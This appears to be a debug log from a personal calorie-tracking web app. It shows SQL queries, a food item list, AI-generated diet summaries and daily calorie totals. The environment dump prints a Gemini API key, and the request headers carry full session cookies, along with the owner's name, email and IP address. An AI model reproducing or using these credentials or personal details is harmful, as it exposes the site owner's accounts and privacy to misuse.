  sql: {
    type: 'select',
    columns: [ [Object], [Object], [Object], [Object] ],
    params: [],
    table: { name: 'user' },
    primary: 'id',
    joins: [],
    query: 'select `first_name`, `last_name`, `email`, `id` from `user`'
  }
}
2025-12-16T11:25:31.655Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-16T11:25:31.657Z server-connect:output list: [
  { item_name: 'Clothing', item_id: 27, category_name: 'Apparel' },
  { item_name: 'Fashion', item_id: 28, category_name: 'Apparel' },
  { item_name: 'Shoes', item_id: 29, category_name: 'Apparel' },
  { item_name: 'Kurta Mens', item_id: 154, category_name: 'Apparel' },
  { item_name: 'Baby Towel', item_id: 161, category_name: 'Apparel' },
  { item_name: 'Bra', item_id: 178, category_name: 'Apparel' },
  { item_name: 'Dress', item_id: 188, category_name: 'Apparel' },
  { item_name: 'Stole', item_id: 193, category_name: 'Apparel' },
  { item_name: 'Leggings', item_id: 206, category_name: 'Apparel' },
  {
    item_name: 'Jockey Thermal Top',
    item_id: 208,
    category_name: 'Apparel'
  },
  { item_name: 'Chudas', item_id: 238, category_name: 'Apparel' },
  {
    item_name: 'Artifial Jwellery',
    item_id: 245,
    category_name: 'Apparel'
  },
  { item_name: 'Blazer', item_id: 267, category_name: 'Apparel' },
  { item_name: 'Nehru Jacket', item_id: 268, category_name: 'Apparel' },
  { item_name: 'Belt', item_id: 270, category_name: 'Apparel' },
  { item_name: 'Loafer', item_id: 272, category_name: 'Apparel' },
  { item_name: 'Pant', item_id: 274, category_name: 'Apparel' },
  {
    item_name: 'Winter Jacket',
    item_id: 275,
    category_name: 'Apparel'
  },
  { item_name: 'Girl Jacket', item_id: 276, category_name: 'Apparel' },
  { item_name: 'T Shirt', item_id: 277, category_name: 'Apparel' },
  { item_name: 'Shopping Bag', item_id: 278, category_name: 'Apparel' },
  { item_name: 'Blouse', item_id: 377, category_name: 'Apparel' },
  { item_name: 'Chappal', item_id: 378, category_name: 'Apparel' },
  { item_name: 'Saree', item_id: 392, category_name: 'Apparel' },
  { item_name: 'Skirt', item_id: 450, category_name: 'Apparel' },
  { item_name: 'Stall', item_id: 477, category_name: 'Apparel' },
  { item_name: 'Shorts', item_id: 529, category_name: 'Apparel' },
  { item_name: 'Juti', item_id: 616, category_name: 'Apparel' },
  {
    item_name: 'Cloth Fitting',
    item_id: 643,
    category_name: 'Apparel'
  },
  { item_name: 'Underwear', item_id: 651, category_name: 'Apparel' },
  { item_name: 'Cosmentics', item_id: 31, category_name: 'Beauty' },
  { item_name: 'Makeup', item_id: 32, category_name: 'Beauty' },
  { item_name: 'Accessories', item_id: 33, category_name: 'Beauty' },
  {
    item_name: 'Gillete Gaurd Machine',
    item_id: 135,
    category_name: 'Beauty'
  },
  {
    item_name: 'Gillete Gaurd Blades',
    item_id: 137,
    category_name: 'Beauty'
  },
  {
    item_name: 'Loreal Parish Condition',
    item_id: 176,
    category_name: 'Beauty'
  },
  {
    item_name: 'Shahnaz Hussain Facial Pack',
    item_id: 179,
    category_name: 'Beauty'
  },
  {
    item_name: 'Elle 18 Crayon',
    item_id: 180,
    category_name: 'Beauty'
  },
  { item_name: 'Hair Gel MG5', item_id: 273, category_name: 'Beauty' },
  {
    item_name: 'Ponds Whity Beuty',
    item_id: 324,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ponds face wash',
    item_id: 326,
    category_name: 'Beauty'
  },
  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-16T11:25:33.753Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T11:25:33.753Z server-connect:app Executing action step identify
2025-12-16T11:25:33.753Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:33.754Z server-connect:output identity: 1
2025-12-16T11:25:33.754Z server-connect:app Executing action step restrict
2025-12-16T11:25:33.754Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-16T11:25:33.754Z server-connect:output restrict: undefined
2025-12-16T11:25:33.754Z server-connect:router Render template calorie-tracker
2025-12-16T11:25:33.755Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"38aa-BeDgnMua1Zk4zwJRnyFQ3r5s6bQ"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-16T12:38:44.137Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"38aa-BeDgnMua1Zk4zwJRnyFQ3r5s6bQ"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3ANUYGZxCViiFn3hbivZxlvQ%3D%3D.7O7ZDrIAC%2Bdo%2BBVq%2FKvNYP0VlJySV61M8U2Q6BbIr183p2%2FbCCKCvDtvUQw9Z35i9c7fY75t3g5PHO9RPwrLjwhswEssvvTw%2FJOAIafF%2F64WqIZ9C%2BHrTnvEUtbwcTuKL%2BPZyzWmdYDGtcktbD9gloQ%2B7zJ6tbU32QBlVUqbzHU%3D.yxHT5hsV4F5Ib0FtgytACtlp3EUWwgE7r%2B7jwwTdeqM; your_r_git.sid=s%3AeH00IxRM2C0AdKMakCu4ejLqTGHuH_vq.YzqmC3nBoxOz1Ss6YbblTfYuvbsG67Z2%2FWGzsf2PuOI',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-16T11:25:34.014Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-16T11:25:34.015Z server-connect:app Executing action step identify
2025-12-16T11:25:34.015Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:34.015Z server-connect:output identity: 1
2025-12-16T11:25:34.015Z server-connect:app Executing action step restrict
2025-12-16T11:25:34.015Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:34.015Z server-connect:output restrict: undefined
2025-12-16T11:25:34.015Z server-connect:app Executing action step single
2025-12-16T11:25:34.015Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-16T11:25:34.016Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-16T11:25:34.016Z server-connect:app Executing action step identify
2025-12-16T11:25:34.016Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:34.016Z server-connect:output identity: 1
2025-12-16T11:25:34.016Z server-connect:app Executing action step restrict
2025-12-16T11:25:34.016Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-16T11:25:34.017Z server-connect:output summary: {
  summary: {
    rating: 5,
    summary: "The day's food intake appears to be a mix of processed and home-cooked items, with a noticeable portion of the day's energy coming from carbohydrate-rich foods. While there were instances of protein intake, it may not be optimally structured for muscle development alongside fat loss given the workout routine. Meal timing seems somewhat spread out, but recovery support could be enhanced.",
    bad_points: [
      'The overall protein intake seems insufficient to optimally support muscle development and recovery after early morning gym sessions.',
      'Several items, like idli with ketchup and digestive biscuits, are less nutrient-dense and might contribute to less efficient progress.',
      'Sugar in the milk coffee contributes to unnecessary energy intake without significant nutritional benefit.',
      'Fat content in Aloo Gobi, while likely from healthy cooking methods, adds to the overall energy of the meal.'
    ],
    good_points: [
      'Inclusion of green tea for hydration and potential metabolic support.',
      'Incorporation of whole wheat roti as a complex carbohydrate source.',
      'Consumption of makhana provides a lighter, less processed snack option.'
    ],
    suggestions: [
      'Prioritize protein-rich foods with each meal to better support muscle building and satiety.',
      'Consider incorporating lean protein sources like chicken, fish, paneer, or lentils in larger portions.',
      'Review snack choices to ensure they are aligned with goals, perhaps opting for nuts, seeds, or Greek yogurt.',
      'Hydrate adequately throughout the day, especially around workout times.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'A gradual decrease in body weight.'
  },
  date: '2025-12-15T18:30:00.000Z'
}
2025-12-16T11:25:34.018Z server-connect:output restrict: undefined
2025-12-16T11:25:34.018Z server-connect:app Executing action step single
2025-12-16T11:25:34.018Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-16T11:25:34.020Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-16T11:25:34.020Z server-connect:app Executing action step select
2025-12-16T11:25:34.020Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-16T11:25:34.022Z server-connect:output item_list: [
  {
    id: 402,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: "Milk Tea (without sugar, assuming full-fat cow's milk)",
    calories: 48,
    protein_gm: 3,
    carbs_gm: 4,
    fat_gm: 3,
    quantity: 'Half cup (approx 120ml total beverage)',
    replacements: 'Black tea (no milk),Green tea (no milk),Tea with skim milk or unsweetened plant-based milk (almond, soy),Tea with less milk',
    created_at: '2025-12-15T21:00:48.000Z',
    skip_level: 1,
    skip_reason: 'This item provides some protein and calcium from the milk, which are beneficial for muscle development and bone health. By being sugar-free, it avoids empty calories. The moderate fat content from half a cup of full-fat milk is acceptable for an active individual focused on muscle development.'
  },
  {
    id: 403,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Idli (light fried)',
    calories: 290,
    protein_gm: 7,
    carbs_gm: 52,
    fat_gm: 8,
    quantity: '4 pieces (approx 200g idli + 6.75g oil)',
    replacements: 'Steamed Idli (no oil),Idli made with very minimal oil spray on a non-stick pan,Idli with a higher proportion of urad dal (lentils) for increased protein content',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 2,
    skip_reason: "While Idli is a good carbohydrate source providing energy for your gym sessions, 'light fried' adds extra fats and calories from the oil. For lean muscle development, it's generally better to consume steamed versions to control fat intake, especially when managing overall calorie intake with a desk job lifestyle."
  },
  {
    id: 404,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Ketchup',
    calories: 12,
    protein_gm: 0,
    carbs_gm: 3,
    fat_gm: 0,
    quantity: '1 sachet (approx 12g)',
    replacements: 'Sugar-free ketchup,Homemade fresh tomato salsa or chutney (with minimal added sugar and oil),Herbal chutneys (e.g., mint, coriander) without added sugar',
    created_at: '2025-12-15T22:15:18.000Z',
    skip_level: 3,
    skip_reason: 'Ketchup is typically high in added sugars and provides minimal to no nutritional value (empty calories). Consuming empty calories from added sugars is counterproductive to muscle development goals and overall health, especially when aiming for a lean physique.'
  },
  {
    id: 405,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 0,
    protein_gm: 0,
    carbs_gm: 0,
    fat_gm: 0,
    quantity: '1 cup (240ml)',
    replacements: '',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is rich in antioxidants, boosts metabolism, and is virtually calorie-free, making it an excellent choice for health and fitness goals.'
  },
  {
    id: 406,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Milk Sugar Coffee',
    calories: 132,
    protein_gm: 4,
    carbs_gm: 24,
    fat_gm: 2,
    quantity: '1 small serving (approx. 180ml total volume, assumed 120ml toned milk (1.5% fat) and 18g white sugar)',
    replacements: 'Black coffee (no milk, no sugar),Coffee with skim milk (or plant-based milk like unsweetened almond milk) and no added sugar or an artificial sweetener (e.g., stevia),Coffee with reduced sugar (e.g., 1 teaspoon instead of 1.5 spoons)',
    created_at: '2025-12-16T00:00:53.000Z',
    skip_level: 2,
    skip_reason: 'The significant amount of added sugar (18g) contributes empty calories, which are not optimal for muscle development and can hinder fat loss. While toned milk provides some protein, the overall calorie profile is not as nutrient-dense as other options. For muscle development, calories are best sourced from lean protein and complex carbohydrates.'
  },
  {
    id: 407,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Roti (Whole Wheat)',
    calories: 375,
    protein_gm: 12,
    carbs_gm: 75,
    fat_gm: 3,
    quantity: '3 medium (approx 40g each, total 120g)',
    replacements: 'Jowar/Bajra/Ragi Roti (similar calories but potentially better nutrient profile, higher fiber),Reduce quantity if carbohydrate intake needs to be controlled, replace with more vegetables or lean protein',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 1,
    skip_reason: 'Good source of complex carbohydrates, providing sustained energy for workouts and muscle recovery. Whole wheat also offers fiber and essential nutrients, which are beneficial for overall health and digestion.'
  },
  {
    id: 408,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Aloo Gobi Sabzi',
    calories: 214,
    protein_gm: 3,
    carbs_gm: 18,
    fat_gm: 15,
    quantity: '1 medium bowl (approx 150g, assuming moderate oil)',
    replacements: 'More Gobi (cauliflower), less Aloo (potato) to reduce starch and calories,Cook with minimal oil/ghee or use healthy cooking sprays to reduce fat content,Add more non-starchy vegetables like spinach, carrots, or beans to increase volume and nutrients without excess calories',
    created_at: '2025-12-16T03:13:04.000Z',
    skip_level: 2,
    skip_reason: "Potatoes provide good carbohydrates for energy, and cauliflower is a nutrient-dense vegetable rich in vitamins and fiber. However, this sabzi is often prepared with a significant amount of oil/ghee, which adds a lot of calories and fat. For muscle development, it's beneficial to control fat intake from cooking oils while prioritizing lean protein and complex carbs. A leaner preparation would be more ideal."
  },
  {
    id: 409,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Digestive Biscuits',
    calories: 152,
    protein_gm: 2,
    carbs_gm: 22,
    fat_gm: 6,
    quantity: '2 biscuits (approx 32g, assuming 16g per biscuit)',
    replacements: 'Whole grain crackers (plain),Apple slices with a sprinkle of cinnamon,Plain roasted chickpeas',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 2,
    skip_reason: 'While providing some energy, digestive biscuits are processed and often contain refined flour, added sugars, and unhealthy fats. For muscle development and managing energy for a desk job, nutrient-dense whole foods that offer more protein and fiber, or slower-digesting complex carbohydrates, would be more beneficial.'
  },
  {
    id: 410,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Makhana (Fox Nuts)',
    calories: 88,
    protein_gm: 2,
    carbs_gm: 19,
    fat_gm: 0,
    quantity: '1 handful (approx 25g)',
    replacements: 'Air-popped popcorn (unsalted),Cucumber slices,Celery sticks',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: "Makhana is a healthy, low-fat, and good source of carbohydrates, fiber, and some protein. It's a much better snack choice compared to processed alternatives and provides sustained energy, aligning well with muscle development goals."
  },
  {
    id: 411,
    intake_date: '2025-12-15T18:30:00.000Z',
    item_name: 'Green Tea',
    calories: 2,
    protein_gm: 0,
    carbs_gm: 1,
    fat_gm: 0,
    quantity: '1 cup (approx 240ml)',
    replacements: 'Water,Herbal tea (unsweetened)',
    created_at: '2025-12-16T05:22:45.000Z',
    skip_level: 1,
    skip_reason: 'Green tea is an excellent beverage, rich in antioxidants and has negligible calories. It supports metabolism and overall health without hindering muscle development goals.'
  }
]
2025-12-16T11:25:34.022Z server-connect:app Executing action step setvalue
2025-12-16T11:25:34.022Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-16T11:25:34.022Z server-connect:output var_total: 1313
2025-12-16T11:25:34.022Z server-connect:app Executing action step setvalue
2025-12-16T11:25:34.022Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-16T11:25:34.023Z server-connect:output var_consumed: 55
2025-12-16T11:25:34.023Z server-connect:app Executing action step setvalue
2025-12-16T11:25:34.023Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-16T11:25:34.023Z server-connect:output var_deficit: 1087
2025-12-16T11:25:34.023Z server-connect:app Executing action step custom
2025-12-16T11:25:34.023Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-16T11:25:34.024Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '1313',
    surplus_or_deficit: '1087',
    status_flag: 2
  }
]
2025-12-16T11:25:41.206Z server-connect:router Serving templateView /calorie-tracker
2025-12-16T11:25:41.206Z server-connect:app Executing action step identify
2025-12-16T11:25:41.206Z server-connect:app options: { provider: 'security' }
2025-12-16T11:25:41.206Z server-connect:output identity: 1
2025-12-16T11:25:41.206Z server-connect:app Executing action step restrict
2025-12-16T11:25:41.206Z server-connect:app options: {
  provider: 'security',
